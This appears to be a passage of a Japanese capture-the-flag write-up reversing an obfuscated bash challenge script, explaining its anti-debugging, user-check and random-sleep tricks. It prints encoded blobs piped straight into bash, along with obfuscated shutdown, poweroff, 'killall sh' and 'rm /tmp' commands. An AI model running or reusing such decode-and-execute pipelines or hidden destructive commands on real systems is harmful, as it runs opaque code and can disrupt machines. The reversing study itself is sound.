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|base64 -d|gunzip|bash; $'\72' killall sh; : $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); $(: pkill sh); $'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16); $'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); $'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066'; $'\x3A' exit; : $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\x3A' $(echo c2h1dGRvd24K |base64 -d); : $'\x73\x68\x75\x74\x64\x6f\x77\x6e'; : $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' ); : pkill sh; $'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e'; $(: poweroff); $'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d); $'\72' poweroff; $'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' ); $'\x3A' killall sh; $'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d); $'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' ); : $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' ); $'\x3A'; : $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066'; $'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); $(: killall sh); : $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d); : $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066'; $'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); : $'\x65\x78\x69\x74'; : $(echo K42dvRGd1h2c |rev|base64 -d); $'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e'; : $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16); $'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d); $'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50); : $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' ); : $'\u0065\u0078\u0069\u0074'; : :; : $(echo =oAdphXZ |rev|base64 -d); $'\u003A' $'\u0065\u0078\u0069\u0074'; $'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); : ::; $'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ); $'\72' $(echo K42dvRGd1h2c |rev|base64 -d); $(: rm /tmp); : $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e'; :; $'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ); : $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50); $'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' ); $'\x3A' poweroff; $'\72' $(echo =oAdphXZ |rev|base64 -d); $'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); : $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d); $'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); : $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ); $'\72' exit; $'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50); $'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10); : $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
21行目を確認すると、以下のような処理がありデバッグモードを検知して終了するようになっていました。
echo $-|grep x && exit
上記の処理をコメントアウトして、再度実行してみます。
$ bash -x Beeeeeeeeeer_2.sh # 省略 + base64 -d + echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo= Let's decording!(≧∀≦*) + read hoge ++ base64 -d ++ echo MjAK + trap '' 1 2 3 15 18 19 20 ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ echo =btB ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ base64 -d ++ rev + : ++ echo =bNpyW3M ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo XRKY ++ base64 -d ++ rev ++ echo =ogO + grep -q : + '[' -z '' ']' + ID=nandoku + grep -e root -e user -e adm -e nobody -e test -e nandoku + whoami + : ++ seq 7 + for i in '$('\''seq'\'' $((RANDOM % 10)))' ++ base64 -d ++ echo c2xlZXAK + sleep 251
今回は、2つの解析妨害処理が確認できます。 1つ目は、ユーザの確認処理です。23行目から30行目を確認すると、以下の処理が確認できます。
if [ -z "$1" ]; then ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75'; else ID="$1"; fi; if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null; then :; else exit; fi;
root
、user
、adm
、nobody
、test
、nandoku
、コマンドライン引数に指定したユーザ名
以外の場合、exitで終了するようです。
今回は、もともとroot
で実行していたので、この処理は、通過できていました。
2つ目は、sleep処理です。 31行目~33行目を確認すると、以下の処理が確認できます。
for i in $($'\x73\x65\x71' $((RANDOM % 10))); do $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300)); done;
0~9回ランダムでsleep処理が呼び出され、sleep時間も0~299秒ランダムで決定するようです。 sleepされると面倒くさいので、この処理もコメントアウトしておきます。
$ bash -x Beeeeeeeeeer_2.sh # 省略 + base64 -d + echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo= Let's decording!(≧∀≦*) + read hoge ++ base64 -d ++ echo MjAK + trap '' 1 2 3 15 18 19 20 ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo =btB ++ rev ++ base64 -d ++ echo =bNpyW3M + : ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo XRKY ++ base64 -d ++ rev ++ echo =ogO + grep -q : + '[' -z '' ']' + ID=nandoku + grep -e root -e user -e adm -e nobody -e test -e nandoku + whoami + : + echo hxB ++ base64 -d ++ rev ++ echo =oAclJ3Z ++ base64 -d ++ rev ++ echo =oAe + grep x hxB ++ base64 -d ++ echo ZXhpdAo= + exit
また、先ほどと同様にデバッグモードを検知して、終了しているようです。 34行目の以下の処理をコメントアウトして、再度実行します。
$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
実行すると、How many beeps?
と表示されました。
$ bash -x Beeeeeeeeeer_2.sh # 省略 + base64 -d + echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo= Let's decording!(≧∀≦*) + read hoge ++ base64 -d ++ echo MjAK + trap '' 1 2 3 15 18 19 20 ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ base64 -d ++ rev ++ tr A-Za-z N-ZA-Mn-za-m ++ echo =btB ++ rev + : ++ echo =bNpyW3M ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ rev ++ echo XRKY ++ base64 -d ++ rev ++ echo =ogO + grep -q : + '[' -z '' ']' + ID=nandoku + grep -e root -e user -e adm -e nobody -e test -e nandoku + whoami + : ++ base64 -d ++ base64 -d ++ rev ++ tr A-Za-z N-ZA-Mn-za-m ++ tr A-Za-z N-ZA-Mn-za-m ++ echo =btB ++ echo M3WypNb= + : ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ echo YKRX ++ base64 -d ++ tr A-Za-z N-ZA-Mn-za-m ++ echo Btb= + grep -q : ++ base64 -d ++ echo aG9nZWZ1Z2EK + export S1=hogefuga + S1=hogefuga + bash + gunzip + base64 -d + echo -n H4sIAMlSRl0AA439Z6/k3prliX2VRKEG1QX2BYOe1FVJoPfeU6MX9CbofRD14cX/rduYHqmB0YvDczLpNvd+nrV+KyPyRDWtf75/2vHPv/63f/1vZd5Mf2ZY/lr7f/zHn//c1z/035L0b88f428J/Td9/NuT/m34zyzdShz987fi39+T/ptDG5yp//nf/kCfPwD07//+738vpj/9f/wv9vz9T/XebPg/3ew//qNm7wDO//znWp7/pyv37/Hvld4j/+1/Pz4fHPvHFvnHlvzHtvq3P0loTNk1vWP988/D4H9sob+2BPJ/nIjg/9ii//bP4+DiH/veP//7n7+N5Z9/+9/Tf/v7P/f987z8f7rtP7bE5z37n8OebP3/e8h/DXcs//5fI77fU+53tPc71vv/d6T3O877HeVNIP916Du++6/R/fXo/yJN158hHX9/srKct//nv/xjYNB7CoRi7xf0fr2Hjn/+72BRnuC+//7+p7znad3/jH//01Z//l9//uVfx3/5x3P9y7/2//Ln//33vSnHP/9jWMRfQ6Le7+i//b1q/znsfzzWPwb5o/ds8GsFuhvl2Z9MDPqcpW8TDrpUJGstxHqZLfLYzYkcvvskomvd2/sYbk6ZhY7EpcdI5EcTMbYkDC6Z44l/Xrd1RQqRRajJxm8dD+91JR2Uu039z//1nMWD8CRe/GHr//i/mre/9r1rev/Xiv5zlSJOif9rlf4vK/k//8fCZsY4uI/2/+dp/+uV+R+1WP7b/7xE/3MdE+R/FdR/1fE/fv5H4RL/PBvC8H/7ryXxYWErxOAbQSRYBBsvx09cSH1OMIFRI9J6YpkwGOAQ3GtsRH43xi17cC779Z8ecPJisnIR7ZtV9HAHLGcGX4NPrpVNd5NpqMij5gAhvFeA4woRgGtCIgQPUZxzHHEgxxEYOkTg436isbDm06sGtqbZWwYonevOCWK0ms9KZBuA+oMKcToquo35l7PzJBGu2weC6OYrfWMLEkZUmUweOOvq2Gl//xFrmpYfGZDVBvK0UGiv77gP0GV9FCnUzua9fXpKjTYi32xNMFXH+jw5TzFsDwuq850u3Mbi0fA2Kg/TE/UR1o4/wYzwxd2HWnonL3nFgVxif7/KwuRcj0s62xpHMfCfZ/1+4EB/LOYOK6CmVxEtOnkeiPDqClQ22/MmvDpVhFvvIgcg+rGjfKPYfc7S5RLlPiu2QwwOOAxxgejvvrefEVSJfiWQwB8GBNd+ZrQfF7tELjMZ81dLbtp/sDVFfDmekEKD4Q78NFUIyc+UoPn1U+ZQNtSncFzIu9TPooIlBGQIDtPoUWmHEgnzMij9PFHjto+pT1nLaM6KnIedou9qmYBW5/or7ldfJO94QpPYUcXA69uGU7SSvm7SyMH+wpPCzlJ01LEO9HZRei8C/JKGQbqFqVMCG0ncp+Fns131ebDtu33vU+qxhEk2O58EIJ34J7dzIp67dEkCBIVpklWqFBhuVqqJVPgqtoxbWM/tC2sH+l47MKu4k6N8iq1qi604za7kAwCmHlIExJEd9oq3wtVn6N6BtqvZbTEhDsqE3ca7/ZLd1Z74+slsQq32zHP3WY82FoVY3By7+N4qmmzCDAgC+XNQefc6yLmHZUZ/ce5t6WW4Qw0iHLpvXXC18G